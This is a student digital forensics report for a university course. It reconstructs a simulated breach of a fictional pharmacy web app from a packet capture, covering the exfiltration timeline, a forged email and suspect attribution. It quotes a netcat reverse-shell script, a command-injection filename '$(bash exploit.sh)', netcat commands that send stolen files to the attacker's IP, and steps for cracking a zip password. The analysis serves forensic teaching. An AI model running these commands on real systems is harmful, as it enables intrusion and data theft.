INSTITUTO SUPERIOR TÉCNICO

Departamento de Engenharia Informática

Forensics Cyber Security

MEIC / METI 2020-2021 – 1st Semester

Digital Forensics Report

Author	Number
João Cruz	90731
Rafael Figueiredo	90770
Ricardo Grade	90774

1 Do you find solid evidence that the web application has been exploited?

Yes, by analyzing the *capture.pcap* of the xfarma gateway router and the *xfarma-webapp* source code we were able to find out that the following vulnerability was explored:

Advisory ID	643	
Advisory CWE	CWE-78 - Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)	
Package Name	pdfinfojs - package code (version 0.4.0)	
Vulnerability Location	**Source** (src/routes/cv-upload.js):	Line 6: router.post('/', (req, res) => {
	Sink (src/routes/cv-upload.js):	Line 8: cvResponse.getInfo(function (err, info, params) {

The hacker (**IP**:174.176.50.10) began by sending a post to */cvupload* on the xfarma webapp (**IP**:192.168.56.10) most likely using python requests. That post included a bashfile [**exploit.sh**] with a malicious payload, that when executed allows the hacker to establish a TCP connection to the webserver and execute arbitrary commands on a shell. [**Print File**: (tcp.stream eq 0): *print-exploit-upload.pdf*]

```
#!/bin/bash
nc.traditional -e /bin/bash 174.176.50.10 8888
```

Then, the hacker, posts another file with a malicious name [**$(bash exploit.sh)**], that will be appended as a parameter to an OS command by *pdfinfojs*, leading to an OS command injection that executes the bashfile, allowing the attacker to start sending arbitrary commands. [**Print File**: (tcp.stream eq 1): *print-exploit-run.pdf*]

We also reproduced the script that he may have used to carry out this exploit, being able to carry it out ourselves. [**Script File**: *Exploit.py*]

2 Do you find any evidence of transfers involving the documents in the analyzed network traces? What can you tell about the authenticity of the documents that appeared on PharmaLeaks?

Yes, by analyzing the *capture.pcap* of the xfarma gateway router, we were able to find out which commands the attacker (**IP**:174.176.50.10) executed in xfarma webserver (**IP**:192.168.56.10) by exploiting the above vulnerability. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]

Commands	Observations
ls	The attacker uses *ls* to find out if any important files are present, however the command does not output any relevant files.
nmap 192.168.0.0/16	The attacker analyses what other machines are present in the network, and how they are interconnected.
telnet 192.168.55.10	The attacker tries to gain access to Penelope's Computer
root	Wrong login
penelope password	Wrong password
penelope penelope	Right password. The attacker now has access to Penelope's computer

The following commands are given by the attacker and going through the webserver to be executed on Penelope's computer (**IP**:192.168.55.10):

Commands	Observations
ls -a	The attacker uses *ls -a* to find out if any important information is present, and finds out that exist: *xfarma-ceo-email.eml*, *cv.pdf*, and *.ssh* directory.
nc -q 0 174.176.50.10 23 < xfarma-ceo-email.eml	The attacker sends the *xfarma-ceo-email.eml* to his computer through a TCP connection.
nc -q 0 174.176.50.10 23 < cv.pdf	The attacker sends the *cv.pdf* to his computer through a TCP connection.
ls -a .ssh	The attacker sees what is inside of .ssh, and finds out that exist: *id*_rsa, *id_rsa.pub,* and *knownHosts.* This means that there is a possibility of a ssh connection that can be opened without a password.
ssh penelope@192.168.54.10	Connection Established. The attacker now has access to xfarma file server.

The following commands are given by the attacker ang going through the webserver and Penelope's computer, to be executed in the file server (**IP**:192.168.54.10):

Commands	Observations
ls -a	The attacker uses *ls -a* to find out if any important files are present and finds *report.zip*.
nc -q 0 174.176.50.10 23 < report.zip	The attacker sends the *report.zip* to his computer through a TCP connection.

Obs: Although the ssh connection between Penelope's computer and the file server is encrypted, it is being retransmitted through an unencrypted connection until it reaches the attacker.

In short, the attacker was able to get*: xfarma-ceo-email.eml*, *cv.pdf* and *report.zip*.

In order to find out more about what was the content of this files we extracted these files:

- *xfarma-ceo-email.eml*: [**Print File**: (tcp.stream eq 8427): *print-xfarma-ceo-email.pdf*] [**Annex File**: *xfarma-ceo-email*.eml]
- *cv.pdf:* [**Print File**: (tcp.stream eq 8428): *print-cv.pdf*] [**Annex File**: *cv.pdf*]
- *report.zip:* [**Print File**: (tcp.stream eq 8430): *print-report.pdf*] [**Annex File**: *report.zip*]

By analysing *xfarma-ceo-email.eml* we were able to find out that the email that was uploaded to PharmaLeaks was forged. [**Annex File**: *xfarma-ceo-email.pdf*]

By analysing the *report.zip*, we found out that the files were protected by a password, which we were able to crack by using *pdftotext* on *cv.pdf* in order to convert it into a word dictionary, *zip2john* to get the password hashes of the *report.zip, and finally john-the-ripper* that uses the word dictionary and the hashes to crack the password. [**Script File**: *PwdCrack.py*]

By unzipping the *report.zip* with the discovered password [ArcGIS] we extracted *BcV-mCov_internal_report.pdf,* which is exactly the file that was leaked to PharmaLeaks, as the *md5sum* is the same. [**Annex File**: *BcV-mCov_internal_report.pdf*]

3 Can you establish a timeline of all relevant events that clarifies how the entire data exfiltration has taken place and the secrets ended up in Rick Chick's computers?

Timeline Hypothesis		
Event	**Time**	**Description**
1	Nov 7 17:30	Supposedly Rick meets N16H70WL and hires him for a job.
2	Nov 8 01:31:40	Post */cvupload* on xfarma webapp. From attacker (**IP**:174.176.50.10) To xfarma webserver (**IP**:192.168.56.10) Uploading a bashfile. [**Print File**: (tcp.stream eq 0): *print-exploit-upload.pdf*]

3	Nov 8 01:31:40	Post */cvupload* on xfarma webapp. From attacker (**IP**:174.176.50.10) To xfarma webserver (**IP**:192.168.56.10) Uploading a file which name causes the execution of the bashfile. [**Print File**: (tcp.stream eq 1): *print-exploit-run.pdf*]
4	Nov 8 01:31:40	Exploit Successful: Netcat connection established between: Attacker (**IP**:174.176.50.10) and xfarma webserver (**IP**:192.168.56.10) [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
5	Nov 8 01:31:45	Attacker executes the command *ls* on xfarma webserver. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
6	Nov 8 01:31:45	Attacker executes the command *ls* on xfarma webserver. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
7	Nov 8 01:31:54	Attacker executes the command *nmap 192.168.0.0/16* on xfarma webserver. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
8	Nov 8 01:32:54	Attacker executes the command *telnet 192.168.55.10* on xfarma webserver. Trying to connect to Penelope's computer (**IP**:192.168.55.10). [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
9	Nov 8 01:33:39	Successful Login Attempt: Telnet connection established between: xfarma webserver (**IP**:192.168.56.10) and Penelope's computer (**IP**:192.168.55.10). [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
10	Nov 8 01:33:42	Attacker executes the command *ls -a* on Penelope's computer. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
11	Nov 8 01:34:10	Attacker sends the *xfarma-ceo-email.eml* stored in Penelope's computer to himself through a netcat connection. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*] [**Annex File**: *xfarma-ceo-email*.eml]
12	Nov 8 01:34:34	Attacker sends the *cv.pdf* stored in Penelope's computer to himself through a netcat connection. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*] [**Annex File**: *cv.pdf*]
13	Nov 8 01:34:50	Attacker executes the *ls -a .ssh* on the Penelope's computer. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
14	Nov 8 01:35:13	Attacker executes the command *ssh penelope@192.168.54.10* on Penelope's computer. SSH connection established between: Penelope's computer (**IP**:192.168.55.10) and xfarma file server (**IP**:192.168.54.10). [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
15	Nov 8 01:35:28	Attacker executes the *ls -a* on the file server. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
16	Nov 8 01:35:54	Attacker sends the *report.zip* from file server to the attacker through a netcat connection. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
17	Nov 8 01:36:09	SSH connection to xfarma file server closed. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]
18	Nov 8 01:36:11	Telnet connection to Penelope's computer closed. [**Print File**: (tcp.stream eq 2): *print-nc-commands.pdf*]

19	Nov 8 Between 01:36:11-08:30	**Hypothesis**: Attacker forges *xfarma-ceo-email.eml* into *xfarma-ceo-email.pdf*. Attacker cracks *report.zip* password extracting the *BcV-mCov_internal_report.pdf*.
20	Nov 8 08:30	N16H70WL creates a dropbox (*https://www.dropbox.com/s/nf7c4k7uik11nb4/xfarma.zip*) uploading *xfarma-ceo-email.pdf* and *BcV-mCov_internal_report.pdf*. [**Annex Files**: *xfarma-ceo-email.pdf*, *BcV-mCov_internal_report*]
21	Nov 8 09:15	N16H70WL sends its dropbox link to Rick Chick.
22	Nov 8 09:20	Rick Chick downloads the zip file from N16H70WL dropbox.

4 What can you tell about the identity of the person(s) responsible for leaking the secrets?

- The attacker who exploited xfarma webapp and downloaded the *xfarma-ceo-email.eml* and *BcV-mCov_internal_report* had the **IP**: 174.176.50.10.
- We were not able to find any evidence that linked N16H70WL to the attacker that exploited xfarma webapp, but we do strongly suspect that they are the same person, once that the timeline events are a perfect match and Rick Chick probably hired N16H70WL to hack into xfarma and get those documents on his behalf, which this attacker did successfully.
- We have two hypotheses regarding how *xfarma-ceo-email.eml* got forged:
    - Rick Chick may have asked N16H70WL to forge the email.
    - N16H70WL wanted to forge the email on its own.

5 Evidence Artifacts

- *xfarma-ceo-email.eml*: The original email that was sent from Mr. John Carson to Penelope, which the attacker downloaded from Penelope's computer.
    - **MD5**: ecd9068d354cb2c7292b4dd77d8cde83
    - **TCP Stream**: 8427
- *cv.pdf*: Penelope's CV which contains information that allowed to crack the password of *report.zip* making a word dictionary to be used by *john-the-ripper*, which the attacker downloaded from Penelope's computer.
    - **MD5**: c67bc5270a72a73e84235d5cbc95c472
    - **TCP Stream**: 8428
- *report.zip*: Zip which contains *BcV-mCov_internal_report.pdf*, which the attacker downloaded from xfarma file server.
    - **MD5**: 3744a2d1bf473c74f2f48dd3cca77cab
    - **Command to Unzip**: *unzip -P ArcGIS report.zip*
    - **TCP Stream**: 8430
- *BcV-mCov_internal_report.pdf:* The report that was leaked to PharmaLeaks, which the attacker downloaded from xfarma file server.
    - **MD5**: 8e5a62390ef3e86a40f91be4a7eff550

- *xfarma-ceo-email.pdf*: Email that the attacker uploaded to its dropbox, which was found on the previous assignment.
    - **MD5**: 87eca7a4b6ec8c47d2351172ab825a24

6 Auxiliary Items

6.1 Prints

- *print-exploit-upload.pdf*: Print that contains the TCP Stream of the first attacker uploaded file [**exploit.sh**] to xfarma webapp.
    - **TCP Stream**: 0
- *print-exploit-run.pdf*: Print that contains the TCP Stream of the second attacker uploaded file with name [**$(bash exploit.sh)**] to xfarma webapp.
    - **TCP Stream**: 1
- *print-nc-commands.pdf*: Print that contains the TCP Stream of the commands that the attacker executed on xfarma webserver.
    - **TCP Stream**: 2
- *print-email.pdf*: Print that contains the TCP Stream of the *xfarma-ceo-email.eml* download.
    - **TCP Stream**: 8427
- *print-cv.pdf*: Print that contains the TCP Stream of the *cv.pdf* download.
    - **TCP Stream**: 8428
- *print-report.pdf*: Print that contains the TCP Stream of the *report.zip* download.
    - **TCP Stream**: 8430

6.2 Scripts

- *Exploit.py*: Script that reproduces what the attacker did to exploit xfarma webapp.
- *PwdCrack.py*: Script that cracked the password of *report.zip*.